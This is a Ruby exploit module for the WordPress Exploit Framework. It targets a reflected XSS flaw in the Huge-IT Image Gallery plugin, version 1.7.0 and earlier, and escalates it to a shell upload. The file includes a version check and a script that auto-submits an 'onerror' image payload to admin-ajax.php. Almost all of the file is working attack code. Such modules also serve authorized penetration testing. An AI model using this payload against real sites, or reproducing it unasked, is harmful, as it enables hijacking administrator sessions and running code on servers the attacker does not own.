# frozen_string_literal: true

class Wpxf::Exploit::HugeItImageGalleryReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::StagedReflectedXss

  def initialize
    super

    update_info(
      name: 'Huge-IT Image Gallery <= 1.7.0 Reflected XSS Shell Upload',
      author: [
        'Kacper Szurek', # Discovery and disclosure
        'rastating'      # WPXF module
      ],
      references: [
        ['WPVDB', '8387'],
        ['URL', 'http://security.szurek.pl/huge-it-image-gallery-170-reflected-xss.html']
      ],
      date: 'Feb 08 2016'
    )
  end

  def check
    check_plugin_version_from_readme('gallery-images', '1.7.1')
  end

  def initial_script
    %|<html><head></head><body><script>
      #{js_post}
      post('#{wordpress_url_admin_ajax}', {
        action: 'huge_it_video_gallery_ajax',
        task: 'load_image_thumbnail',
        page: '1',
        perpage: '1',
        galleryid: '1',
        thumbtext: "<img src=x onerror=#{xss_ascii_encoded_include_script}>"
      });
    </script></body></html>
    |
  end
end
